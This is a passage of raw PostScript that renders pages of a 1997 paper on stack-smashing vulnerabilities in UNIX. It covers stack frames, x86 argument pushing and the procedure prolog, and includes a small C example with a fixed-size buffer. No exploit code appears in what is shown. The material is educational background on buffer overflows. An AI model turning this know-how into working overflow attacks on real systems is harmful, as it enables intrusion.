0.0000 0.0000 1.0000 SET_CMYK GS n 5096 3192 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5227 3192 M (fixed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5626 3192 M (location ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6218 3192 M (within ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6699 3192 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6830 3192 M (frame. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 3192 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2916 M (principle, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1893 2916 M (local ) ST GR 0.0000 0.0000 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2094 2640 M (words ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2546 2640 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2795 2640 M (pushed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3311 2640 M (onto ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3651 2640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3899 2640 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4286 2640 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4571 2640 M (popped ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5105 2640 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5475 2640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5723 2640 M (stack, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6152 2640 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6539 2640 M (offsets ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7029 2640 M (change ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2364 M (and ) ST GR 0.0000 0.0000 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0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1812 M (consideration ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2184 1812 M (our ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2486 1812 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2908 1812 M (growth, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3501 1812 M (parameters ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4313 1812 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4651 1812 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5045 1812 M (positive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5651 1812 M (offsets ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6176 1812 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6496 1812 M (local ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6899 1812 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1536 M (negative offsets from FP. ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 14 14 %%BeginPageSetup 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setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7862 M ( char buffer2[10];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7845 M 1181 7741 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7845 M 7519 7741 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7757 M (}) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7740 M 1181 7581 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7740 M 7519 7581 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7580 M 1181 7476 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7580 M 7519 7476 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7492 M (void main\(\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7475 M 1181 7371 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7475 M 7519 7371 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7387 M ( function\(1,2,3\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7370 M 1181 7266 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7370 M 7519 7266 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7282 M (}) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7265 M 1181 7092 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7265 M 7519 7092 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 7086 M 7523 7086 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3778 6955 M (Stack Example 7.1.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6609 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2015 6609 M (x86 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2313 6609 M (assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2982 6609 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3631 6609 M (equivalent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4372 6609 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4560 6609 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 4812 6609 M (function\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5812 6609 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5861 6609 M (call ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6150 6609 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6328 6609 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6580 6609 M (above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7026 6609 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 6609 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6333 M (translated to:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 6044 M 7523 6044 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6039 M 1181 5921 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6039 M 7519 5921 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 5937 M ( pushl $3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 5937 M (; push function\(\) argument 3) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5920 M 1181 5816 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5920 M 7519 5816 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5832 M ( pushl $2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 5832 M (; push function\(\) argument 2) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5815 M 1181 5711 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5815 M 7519 5711 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5727 M ( pushl $1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 5727 M (; push function\(\) argument 1) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5710 M 1181 5592 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5710 M 7519 5592 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5622 M ( call function) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 5622 M (; call function\(\) and push IP onto the stack) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5586 M 7523 5586 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2960 5455 M (Example 7.1.b - pushing arguments onto the stack) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 5026 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1556 5026 M (pushes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2066 5026 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2326 5026 M (3 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2466 5026 M (arguments ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3217 5026 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3403 5026 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4014 5026 M (backwards ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4783 5026 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5098 5026 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5358 5026 M (stack, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5799 5026 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6096 5026 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 6458 5026 M (function\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7458 5026 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4750 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1533 4750 M (instruction ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 2309 4750 M (call) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2709 4750 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2774 4750 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3097 4750 M (push ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3476 4750 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3744 4750 M (instruction ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4520 4750 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5056 4750 M (\(IP\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5382 4750 M (onto ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5742 4750 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6010 4750 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6501 4750 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6825 4750 M (first ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7159 4750 M (thing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4474 M (done in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1736 4474 M (function) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2400 4474 M ( is the procedure prolog:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 4102 M 7523 4102 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4097 M 1181 3979 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4097 M 7519 3979 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 3995 M (pushl %ebp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 3995 M (; push frame pointer onto stack) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3978 M 1181 3874 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3978 M 7519 3874 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3890 M (movl %esp,%ebp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 3890 M (; copy SP onto EBP, creating the new frame pointer \(FP\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3873 M 1181 3755 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3873 M 7519 3755 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3785 M (subl $20,%esp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 3785 M (; allocate space for local variables) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 3749 M 7523 3749 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3105 3618 M (Example 7.1.c - Linux x86 Procedure Prolog) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 3272 M (First, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1610 3272 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1874 3272 M (frame ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2325 3272 M (pointer, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2899 3272 M (EBP, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3308 3272 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3480 3272 M (pushed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4012 3272 M (onto ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4368 3272 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4632 3272 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5119 3272 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5439 3272 M (current ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5972 3272 M (SP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6219 3272 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6391 3272 M (then ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6738 3272 M (copied ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7242 3272 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2996 M (EBP, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1622 2996 M (making ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2186 2996 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2343 2996 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2611 2996 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2953 2996 M (FP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3204 2996 M (pointer. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3824 2996 M (Finally, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4402 2996 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 2996 M (prolog ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5169 2996 M (proceeds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5826 2996 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6020 2996 M (allocate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6602 2996 M (space ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 2996 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 2996 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2720 M (local ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1577 2720 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2220 2720 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2428 2720 M (subtracting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3209 2720 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3556 2720 M (size ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3857 2720 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4224 2720 M (SP, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4494 2720 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4550 2720 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4805 2720 M (Figure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5300 2720 M (7.1.c) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5624 2720 M (\). ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5806 2720 M (Memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6422 2720 M (addressing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 2720 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2444 M (work ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1623 2444 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1984 2444 M (multiples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2669 2444 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2874 2444 M (words, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3389 2444 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3695 2444 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3872 2444 M (why ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4224 2444 M (20 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4456 2444 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4633 2444 M (subtracted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5383 2444 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5774 2444 M (SP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6026 2444 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6221 2444 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6527 2444 M (example. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7241 2444 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2168 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1694 2168 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2063 2168 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2289 2168 M (example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2908 2168 M (7.1.c ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3287 2168 M (uses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3629 2168 M (5 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3767 2168 M (words ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4229 2168 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4479 2168 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4608 2168 M (total ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4958 2168 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5152 2168 M (20 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5373 2168 M (bytes, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5821 2168 M (taking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6291 2168 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6604 2168 M (consideration ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1892 M (the 4 byte Intel x86 CPU word size.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 1763 M 7523 1763 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1758 M 1181 1502 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1758 M 7519 1502 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR %%PageTrailer AXPageSave restore showpage %%Page: 15 15 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 10000 M 1181 5768 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 10000 M 7519 5768 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS GS 2820 10000 5880 5801 DOCLIPBOX n 2820 10000 M 5879 10000 L 5879 5802 L 2820 5802 L 2820 10000 L 5879 10000 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9986 M 5850 9986 L 5850 5817 L 2848 5817 L 2848 9986 L 5850 9986 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 28 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS 2820 10000 5879 5802 DOCLIPBOX n 4240 6371 M (bss) ST GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6232 M 2848 6652 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 5848 6232 M 5848 6652 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6234 M 5852 6234 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5815 M 2848 6235 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 5848 5815 M 5848 6235 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 7234 M 5852 7234 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9986 M 5850 9986 L 5850 9974 L 2848 9974 L GS 0.0000 0.0000 0.0000 0.7490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9974 M 5850 9974 L 5850 9960 L 2848 9960 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9960 M 5850 9960 L 5850 9948 L 2848 9948 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9948 M 5850 9948 L 5850 9936 L 2848 9936 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9936 M 5850 9936 L 5850 9923 L 2848 9923 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9923 M 5850 9923 L 5850 9910 L 2848 9910 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9910 M 5850 9910 L 5850 9897 L 2848 9897 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9897 M 5850 9897 L 5850 9885 L 2848 9885 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9885 M 5850 9885 L 5850 9873 L 2848 9873 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 